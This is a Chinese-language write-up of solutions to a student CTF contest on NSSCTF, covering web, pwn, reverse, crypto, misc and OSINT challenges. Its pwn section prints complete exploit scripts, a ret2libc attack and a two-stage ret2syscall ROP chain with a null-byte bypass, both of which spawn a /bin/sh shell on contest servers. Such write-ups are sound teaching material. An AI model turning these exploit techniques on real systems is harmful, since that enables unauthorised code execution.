Index
- 前言
- 题目
- Web
- 我Flag呢?
- Pwn
- 只需要nc一下~
- 口算题卡
- 题目分析
- EXP:
- 狠狠的溢出涅~
- 题目分析
- EXP:
- ezlogin
- 题目分析
- EXP:
- Reverse
- 世界上最棒的程序员
- ez_XOR
- EXP:
- Crypto
- Hex?Hex!(初级)
- 梦想是红色的
- 原来你也玩原神
- Misc
- 签到!(初级)
- What_1s_BASE (初级)
- Take me hand (初级)
- 404notfound (初级)
- 喜欢我的压缩包么 (初级)
- 这羽毛球怎么只有一半啊(恼 (初级)
- 破损的图片(初级)
- Osint小麦果汁
- OSINT 探姬去哪了?_1
- OSINT 探姬去哪了?_2
- OSINT 探姬去哪了?_0
前言
迄今为止做出来题目最多的比赛,不过嘛新生赛,加油。
题目
Web
Web不是我擅长的分区,我就做出来了签到题,其他是我队友做的。
我Flag呢?
Pwn
刚开始只有3题Pwn,后来加了一题压轴题,当时没做出来,赛后研究了几天整出来了。
只需要nc一下~
并非直接cat flag那种难度,需要稍微看一看。
发现把Flag写入了环境变量中,使用env
或者echo $FLAG
都可以查看。
口算题卡
题目分析
按照描述,就是做完100道加减法题目后就可以得到Flag,实际上确实如此,这里没有耍任何把戏。
可以硬着头皮算,也可以用Pwntools等。
我选择Pwntools:
EXP:
from PwnModules import *io = remote('node4.anna.nssctf.cn',28265)
context(arch='amd64', os='linux', log_level='debug')while 1:try:io.recvuntil(b'What is ')line = io.recvline().strip(b'\n').strip(b'?').decode()expression = lineresult = eval(expression)io.sendline(str(result))except:io.close()continue
io.interactive()
exp的原理其实很简单,使用recv函数接收算式,使用strip函数去除接收到的信息中的换行符以及问号,然后丢入eval函数就会得出结果。发送回去即可。
狠狠的溢出涅~
基础的ret2libc题目。
题目提供了libc,甚至用不到LibcSearcher。
题目分析
main函数存在栈溢出漏洞,但是程序使用了strlen防止用户进行栈溢出。
我们只需要使用\x00
绕过strlen函数即可。
EXP:
from PwnModules import *#io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28413)
elf = ELF('./pwn41')
libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)rdi = 0x4007D3
ret = 0x400556
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b'Ok,Message Received\n')addr = leak_addr(2, io)
print(hex(addr))
base = addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload)
io.interactive()
ezlogin
压轴来喽~
很抽象的一道题,静态链接并且去除了符号表。
题目分析
首先我们进行符号恢复。
从start函数着手:
先不管其他杂七杂八的函数,一个个点进去,可以发现sub_4005C0
应该是main函数。
这里我已经修改了函数名字,原先的vul并不是vul。而sub_411ED0猜测就是setbuf了。
进入vul函数中,还原后的函数如下:
strcpy函数是通过动态调试调试出来的。
参考:M1sery师傅的WP
关于如何绕过read的限制图中已经写了,重点是如何绕过strcpy的遇到\x00
截断。
这里需要写一个特殊的函数:
def gadget(content):content = content + b'\x00'content = content[-1::-1]for i in range(0, len(content)):if content[i] == 0:payload = content[i+1:][-1::-1].replace(b'\x00', b'A')padding = b'A' * 0x108log.success('Payload: ' + (str(payload)))io.sendafter(b'password:', padding + payload)
简要分析的话作用是替换Payload中的\x00
为A,复杂点实际上就是遇到\x00
就反转Payload,替换\x00
为A,然后配合固定的Padding:0x108(main函数中的a1大小)+处理后的Payload。
解决了strcpy的问题,接下来是构建ret2syscall的ROP链。
由于是静态链接,因此gadget量大管饱。
EXP:
from PwnModules import *io = process('./pwn4')
# io = remote('node5.anna.nssctf.cn',28672)
elf = ELF('./pwn4')
libc = ELF('/home/kaguya/PwnTool/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')# Max Padding size : 0x100 - 0x150
# Define registers
rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0# Create func use to replace '\x00'
def gadget(content):content = content + b'\x00'content = content[-1::-1]for i in range(0, len(content)):if content[i] == 0:payload = content[i+1:][-1::-1].replace(b'\x00', b'A')padding = b'A' * 0x108log.success('Payload: ' + (str(payload)))io.sendafter(b'password:', padding + payload)# Stage one
# read(0, 0, bss)
# rax 系统调用号 0代表 read
# rdi 第一参数
# 0 fd
# rsi 第二参数
# bss /bin/sh 地址
# 此处无法填写rdx的寄存器与值,因为如果填写了会导致Payload溢出,a1寄存器为58,就会进入exit函数。
# 但是程序在此时的rdx值够存放很多数据,所以存放一个/bin/sh不是什么难事。
Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')# Stage two
# execve('/bin/sh\x00', 0, 0)
# rax 系统调用号 59代表 execve
# rdi 第一参数
# bss /bin/sh 地址
# rsi 第二参数
# 0 NULL
# rdx 第三参数
# 0 NULL
Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()
Reverse
世界上最棒的程序员
start函数中直接写了
ez_XOR
ChatGPT yyds!
输入函数和工作逻辑让ChatGPT写的
EXP:
def XOR(Str, a2):result = len(Str)for i in range(result):Str[i] = chr(ord(Str[i]) ^ (3 * a2))return StrStr1 = "E`}J]OrQF[V8zV:hzpV}fVF[t" # 请根据实际情况修改Str1的内容Str1 = list(Str1) # 将Str1转换为列表,以便进行原位修改
XOR(Str1, 3)Decrypted_Str1 = ''.join(Str1)
print("Decrypted Str1:", Decrypted_Str1)
输入str2,也就是E`}J]OrQF[V8zV:hzpV}fVF[t即可得到flag。
Crypto
Hex?Hex!(初级)
一眼hex转ascii
cyberchef直接出Flag
梦想是红色的
一眼社会主义核心价值观加密
原来你也玩原神
一个一个对照,就有Flag了。
Misc
签到!(初级)
关注长亭珂兰寺公众号,发送签到即可获取flag。
What_1s_BASE (初级)
base64,cyberchef。
Take me hand (初级)
流量分析,找到这两个包即可。
404notfound (初级)
一眼图片隐写
直接打开010
喜欢我的压缩包么 (初级)
压缩包加密了,先猜一手123456。错误的
盲猜一手114514,对了。
其实可以使用工具Passware Kit梭哈。
这羽毛球怎么只有一半啊(恼 (初级)
是misc中常见的修改图片长宽高
修改05 DC为DC DC即可。
说实话这题我是乱蒙的长宽高,乐。
破损的图片(初级)
对比发现缺少文件头,复制粘贴即可解决。
再随便改个后缀,就能打开了。
Osint小麦果汁
根据图中的Wifi查找即可查找到Flag。
搜索到相关的,然后确定就是这个。
NSSCTF{黑客与精酿}
OSINT 探姬去哪了?_1
根据图中关键信息百度查找。
关键信息:SANGEL 酒店 xx路店
最终发现结果是:松果酒店(郑州农业路店)
OSINT 探姬去哪了?_2
根据图内关键信息:Hackingclub查询。
查找地图发现是:漫香音乐酒吧(农科路店)
OSINT 探姬去哪了?_0
使用exiftool查看本图片:
根据经纬度查找。结果是